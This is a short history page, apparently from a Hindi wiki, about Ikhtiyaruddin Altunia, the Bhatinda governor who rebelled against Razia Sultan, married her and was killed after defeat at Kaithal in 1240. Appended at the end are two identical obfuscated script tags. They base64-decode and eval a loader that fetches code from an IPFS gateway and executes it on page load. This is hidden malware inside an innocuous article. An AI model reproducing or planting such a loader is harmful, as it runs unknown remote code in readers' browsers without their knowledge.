इख़्तियारुद्दीन अल्तूनिया

• raziya sultan (1236-40 ee.) ke shasan kal ke prarambh mean yah bhatinda ka haqim tha. usane 1240 ee. mean raziya ke khilaf bagavat kar di, use parast kar diya aur bandi bana liya. parantu use apane is kary ke lie baharam se, jo naya sultan bana tha, yathesht puraskar nahian mila. isalie usane raziya ko jelakhane se riha kar diya aur usase shadi kar li. usane raziya ko phir se gaddi par bithane ke lie ek b di sena ke sath dilli par akraman kiya. parantu vah kaithal ki l daee mean parajit ho gaya aur doosare din use v raziya ko mar dala gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>